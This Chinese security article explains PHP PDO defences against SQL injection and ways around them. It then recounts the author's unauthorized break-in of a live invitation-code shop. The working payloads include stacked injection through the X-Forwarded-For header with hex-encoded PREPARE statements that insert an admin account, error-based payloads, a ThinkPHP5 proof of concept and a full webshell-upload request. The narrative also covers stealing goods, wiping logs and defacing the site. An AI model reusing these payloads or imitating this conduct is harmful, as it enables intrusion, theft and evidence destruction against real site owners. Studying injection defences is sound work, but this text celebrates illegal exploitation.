作者:J0o1ey@M78安全团队
原文链接:https://mp.weixin.qq.com/s/yB5Q12xXh_ZHj7KYPjgPfw
PDO全名PHP Data Object
PDO扩展为PHP访问数据库定义了一个轻量级的一致接口。PDO提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以使用相同的函数(方法)来查询和获取数据。
PHP连接MySQL数据库有三种方式(MySQL、Mysqli、PDO),列表性比较如下:
Mysqli | PDO | MySQL | |
---|---|---|---|
引入的PHP版本 | 5.0 | 5.0 | 3.0之前 |
PHP5.x是否包含 | 是 | 是 | 是 |
服务端prepare语句的支持情况 | 是 | 是 | 否 |
客户端prepare语句的支持情况 | 否 | 是 | 否 |
存储过程支持情况 | 是 | 是 | 否 |
多语句执行支持情况 | 是 | 大多数 | 否 |
如需在php中使用pdo扩展,需要在php.ini文件中进行配置
quote()方法(这种方法的原理跟addslashes差不多,都是转义)
PDO类库的quate()方法会将输入字符串(如果需要)周围加上引号,并在输入字符串内转义特殊字符。
EG①:
<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');
/* Dangerous string */
$string = 'Naughty ' string';
print "Unquoted string: $stringn";
print "Quoted string:" . $conn->quote($string) . "n";
?>
输出
Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'
EG②
test.sql
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for user
-- ----------------------------
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`id` int(10) NOT NULL,
`username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL,
`password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;
-- ----------------------------
-- Records of user
-- ----------------------------
INSERT INTO `user` VALUES (0, 'admin', 'admin');
INSERT INTO `user` VALUES (1, 'user', 'user');
SET FOREIGN_KEY_CHECKS = 1;
pdo.php
<?php
header('content-type=text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$username=$pdo->quote($username);
$password=$pdo->quote($password);
$sql="select * from user where username={$username} and password={$password}";
echo $sql."</br>";
$row=$pdo->query($sql);
foreach ($row as $key => $value) {
print_r($value);
}
}catch(POOException $e){
echo $e->getMessage();
}
访问http://localhost/pdo.php?username=admin&password=admin
当我们使用单引号探测注入时
如图,单引号已被反斜线转义
1、占位符-通过命名参数防止注入
通过命名参数防止注入的方法会使得程序在执行SQL语句时,将会把参数值当成一个字符串整体来进行处理,即使参数值中包含单引号,也会把单引号当成单引号字符,而不是字符串的起止符。这样就在某种程度上消除了SQL注入攻击的条件。
将原来的SQL查询语句改为
Select * from where name=:username and password=:password
prepare方法进行SQL语句预编译
最后通过调用rowCount()方法,查看返回受sql语句影响的行数
返回0语句执行失败,大于等于1,则表示语句执行成功。
All code
<?php
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->execute(array(":username"=>$username,":password"=>$password));
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>
查询成功
注入失败
2、占位符-通过问号占位符防止注入
把SQL语句再进行修改
select * from user where name=? and password=?
同上,prepare方法进行SQL语句预编译
最后调用rowCount()方法,查看返回受sql语句影响的行数
<?
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql="select * from user where username=? and password=?";
$stmt=$pdo->prepare($sql);
$stmt->execute(array($username,$password));
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>
效果同上
查询成功
注入失败
3.通过bindParam()方法绑定参数防御SQL注入
修改语句部分
$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);
解释: a)::username 和 :password为命名参数 b):password为获取的变量,即用户名和密码。 c):PDO::PARAM_STR,表示参数变量的值一定要为字符串,即绑定参数类型为字符串。在bindparam()方法中,默认绑定的参数类型就是字符串。
? 当你要接受int型数据的时候可以绑定参数为PDO::PARAM_INT.
<?php
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GETT['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);
$stmt->execute();
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>
效果同上
查询成功
注入失败
这只是总结了一部分PDO防范SQL注入的方法,仍有方法请见下文
其他手法还有很多,大家感兴趣的话可以自行研究
读完前文后,读者们可能不由感叹,真狠啊,什么都tmd转义,什么语句都预编译了,这我tmd注入个毛...
北宋宰相王安石有言“看似寻常最奇崛,成如容易却艰辛”
让我们抽丝剥茧来探寻PDO下的注入手法
目前在PDO下,比较通用的手法主要有如下两种
注入的原理就不讲了,相信大家都知道
一张图,清晰明了
当Mysql数据库my.ini文件中设置编码为gbk时,
我们的PHP程序哪怕使用了addslashes(),PDO::quote,mysql_real_escape_string()、mysql_escape_string()等函数、方法,或配置了magic_quotes_gpc=on,依然可以通过构造%df'的方法绕过转义
PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的,也是众多注入的元凶
在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。
PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。
非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:
第一步是prepare阶段,发送SQL语句模板到数据库服务器;
第二步通过execute()函数发送占位符参数给数据库服务器执行。
PDO产生安全问题的主要设置如下:
? PDO::ATTR_EMULATE_PREPARES //模拟预处理(默认开启)
? PDO::ATTR_ERRMODE //报错
? PDO::MYSQL_ATTR_MULTI_STATEMENTS //允许多句执行(默认开启)
PDO默认是允许多句执行和模拟预编译的,在用户输入参数可控的情况下,会导致堆叠注入。
<?php
header('content-type=text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql="select * from user where username='{$username}' and password='{$password}'";
echo $sql."</br>";
$row=$pdo->query($sql);
foreach ($row as $key => $value) {
print_r($value);
}
}catch(POOException $e){
echo $e->getMessage();
}
因为在sql进行非法操作,那PDO相当于没用
如果想禁止多语句执行,可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false
new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))
但是哪怕禁止了多语句执行,也只是防范了堆叠注入而已,直接union即可
<?php
try {
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
//$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$username = $_GET['username'];
$sql = "select id,".$_GET['role']." from user where username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
} catch (PDOException $e) {
echo $e;
}
$role是可控的,导致可实现堆叠注入和in line query
设置方法
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
无论是否开启PDO::ATTR_EMULATE_PREPARES-模拟预处理
此时SQL语句如果产生报错,PDO则会将报错抛出
除设置错误码之外,PDO 还将抛出一个 PDOException 异常类并设置它的属性来反射错误码和错误信息。
此设置在调试期间也非常有用,因为它会有效地放大脚本中产生错误的点,从而可以非常快速地指出代码中有问题的潜在区域
在这种情况下可以实现error-based SQL Injection
使用GTID_SUBSET函数进行报错注入
http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username=admin
<?php
try {
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$username = $_GET['username'];
$sql = "select id,".$_GET['role']." from user where username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
} catch (PDOException $e) {
echo $e;
}
此时堆叠注入已经歇逼
但inline query,报错注入依然坚挺可用
只要语句内存在有用户非纯字符可控部分,便不够安全;那我们就用非模拟预处理sql写法
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
它会告诉 PDO 禁用模拟预处理语句,并使用 real parepared statements 。
这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)。
如下为一个安全使用PDO的case
$pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root');
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id');
$stmt->execute(array('id' => $id));
print_r($stmt -> fetchAll ());
exit();
当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符
发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,它们是分开传送的,两者独立的,SQL注入攻击者没有一点机会
我们来看Phithon师傅几年前博客发的一个case
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}
如上述代码,如果我们控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。
文中已有分析,我就不多说了,但说一下为什么这是一个SQL注入漏洞。IN操作代码如下:
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
可见,$bindName
在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value
是一个数组的情况下,这里会遍历$value
,并将$k
拼接进$bindName
。
也就是说,我们控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这理论上是一个SQL注入漏洞。那么,为什么原文中说测试SQL注入失败呢?
这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:
prepare($SQL)
编译SQL语句bindValue($param, $value)
将value绑定到param的位置上execute()
执行这个漏洞实际上就是控制了第二步的$param
变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的:
所以,这个错误“似乎”导致整个过程执行不到第三步,也就没法进行注入了。
但实际上,在预编译的时候,也就是第一步即可利用。我们可以做有一个实验。编写如下代码:
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
var_dump($e);
}
执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:
究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false
。
这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()
的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false
,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。
非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。
这时,假设在第一步执行prepare($SQL)
的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:
...
// PDO连接参数
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
...
可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false
。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined
的错误。
因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。
挖SRC,做项目做的心生烦闷,前几日忍不住在家看1024(cl)社区,越看越来劲,邪火攻心,想搜片看
奈何cl社区一向奉行邀请制,邀请码又很难搞到,可谓让人十分不爽
于是本人去google上找了一个卖1024社区邀请码的站
88块钱....虽然不算贵,但售卖这种东西本来就是不受法律保护的。作为一个JB小子,怎么可能不动点白嫖心思?
在黑盒测试了一段时间后,发现支付逻辑和前台都没什么安全问题。。难道我真的要花钱买这激活码????
不可能,绝对不可能。
看到网站底部有一个Powered by xxx,呵呵呵,好家伙,不出意外这应该就是这个站用的CMS系统了
去Git上一搜,还真有,2000多个Star,作者维护了好几年,也算是个成熟的项目了。
直接把最新版源码下载下来,丢进PHPstorm里开始审计
就我个人而言,拿到一套源码,我更喜欢黑白盒相结合;根据前台能访问到的功能点来确定自己审计的目标
简单看了一下整套系统是MVC架构的,使用了PDO,使用有部分过滤规则;后台默认路径是/admin
看了一遍前台的功能点,发现在查询订单处路径名很有趣,带有一个/query,直接搜一下页面上关键词,跟进入到源码中
发现了如下的一段code
PDO均为默认配置,立马想到了堆叠注入
经测试orderid用户可控,全局搜索orderid发现,orderid经函数方法后被处理为纯字符串,没有注入余地,故选择另辟蹊径
后发现ip参数用户同样可控,在调用select方法前没做任何处理。
ip参数调用的是getClientIP方法,我们跟一下getClientIP方法
很好理解,就是从常见的http header中获取客户端IP
但是非常高兴,ip参数未做任何处理,我们可以通过构造XFF头来实现堆叠注入
因为有csrf_token的校验,我们必须在查询订单的页面,随便输入个订单号,随后输入正确的验证码,随后查询才有效
随后手动构造XFF头,进行针对PDO的堆叠注入
因为PDO处为双引号进行语句闭合,且属于无回显的堆叠注入
故构造Payload为
X-FORWARDED-For:1';select sleep(5)#
延迟了5s,注入成功。
针对这种没回显的堆叠注入,盲注太慢,用Dnslog OOB又太慢,所以选择构造一个添加后台管理员的insert payload
X-FORWARDED-For:1“;insert into t_admin_user values(99,"[email protected]","76b1807fc1c914f15588520b0833fbc3","78e055",0);
但是现实是很残酷的,测试发现,在XFF头中,1"将语句闭合后只要出现了引号或者逗号,就会引发报错,SQL语句无法执行
但是具有一定审计经验的兄弟一定会想到,PDO下Prepare Statement给我们提供了绕过过滤进行注入的沃土
山重水复疑无路,柳暗花明又一村
知识补充 --- Prepare Statement写法
MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT(预处理)
预制语句的SQL语法基于三个SQL语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;
给出MYSQL中两个简单的demo
set@a="select user()";PREPARE a FROM @a;execute a;select sleep(3);#
set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);#
//73656C65637420757365722829为select user() 16进制编码后的字符串,前面再加上0x声明这是一个16进制字符串
Prepare语句在防范SQL注入方面起到了非常大的作用,但是对于SQL注入攻击却也提供了新的手段。
Prepare语句最大的特点就是它可以将16进制串转为语句字符串并执行。如果我们发现了一个存在堆叠注入的场景,但过滤非常严格,便可以使用prepare语句进行绕过。
将我们的insert语句直接hex编码
构造注入语句
X-FORWARDED-For:1";set@a=0x696E7365727420696E746F20745F61646D696E5F757365722076616C7565732839392C227465737440746573742E74657374222C223736623138303766633163393134663135353838353230623038333366626333222C22373865303535222C30293B;PREPARE a FROM @a;execute a;select sleep(3);#
//sleep用于判断注入是否成功
延时3s,注入成功,成功添加了一个账号为[email protected],密码为123456的后台管理员
直接默认后台路径/admin登录后台
前台提交一个cl社区邀请码的订单
后台修改订单状态为确认付款
没过一会,邀请码直接到邮箱
以后可以搜片看了
在不讲武德,连续薅了几个邀请码,发给朋友后
站长终于发现了
八嘎,既然发现了,那就干脆把你的站日下来吧,然后好好擦擦屁股,免得0day被这站长抓走
经测试后台的文件上传处鉴权比较严格,没法直接前台getshell
但是后台文件上传处,没有对文件扩展名进行任何过滤,只有一处前端js校验,所以后台getshell直接白给
文件上传后不会返回上传路径,但上传路径和上传文件的命名规则我们已经了如指掌
UPLOAD_PATH定义如下
define('UPLOAD_PATH', APP_PATH.'/public/res/upload/');
CUR_DATE定义如下
define('CUR_DATE', date('Y-m-d'));
文件名
$filename=date("His"); //小时+分钟+秒
以我现在21点05分钟为例,输出结果如下
以2021年5月26日的21点05分44秒为例
完整的文件路径即为
http://www.xxx.com/res/upload/2021-05-26/210444.php
直接构造表单
<meta charset="utf-8">
<form action="http://xxx.top/Admin/products/imgurlajax" method="post" enctype="multipart/form-data">
<label for="file">File:</label>
<input type="file" name="file" id="file" />
<input type="text" name="pid" id="pid" /> <--! pid记得自行修改为商品的id(后台选择商品抓包即可获取)--></--!>
<input type="submit" value="Upload" />
</form>
同时需要添加Referer: http://xxx.top/Admin/products/imgurl/?id=1,并修改下方的
否则会提示“请选择商品id”
最后完整的上传http request如下
POST http://xxx.top/Admin/products/imgurlajax HTTP/1.1
Host: xxxx
Content-Length: 291
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0eb
Origin: http://47.105.132.207
Referer: http://xxx.top/Admin/products/imgurl/?id=12
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaq
Connection: close
------WebKitFormBoundaryeSrhtSPGxub0H0eb
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
<?php
phpinfo();
------WebKitFormBoundaryeSrhtSPGxub0H0eb
Content-Disposition: form-data; name="pid"
12
------WebKitFormBoundaryeSrhtSPGxub0H0eb--
直接上传成功
随后通过burpsuite Intruder来跑一下最后的秒数
毕竟秒数不能拿捏的那么精准
直接拿捏。
把web日志清理掉
然后给public index页面加点乐子
传统功夫,点到为止。
本文主要介绍了通过PDO防范SQL注入的方法和PDO中的注入利用思路,并给大家带来了一个0day实例
你会发现层层抽丝剥茧研究一个模块,并将其中的姿势应用于实战中,是一件很美妙的事情。
相信师傅们是很容易定位到出现本0day的系统的,这个0day就算白送各位师傅的了,希望师傅们也早日成为1024社区会员
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
https://blog.51cto.com/u_12332766/2137035
https://xz.aliyun.com/t/3950
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1636/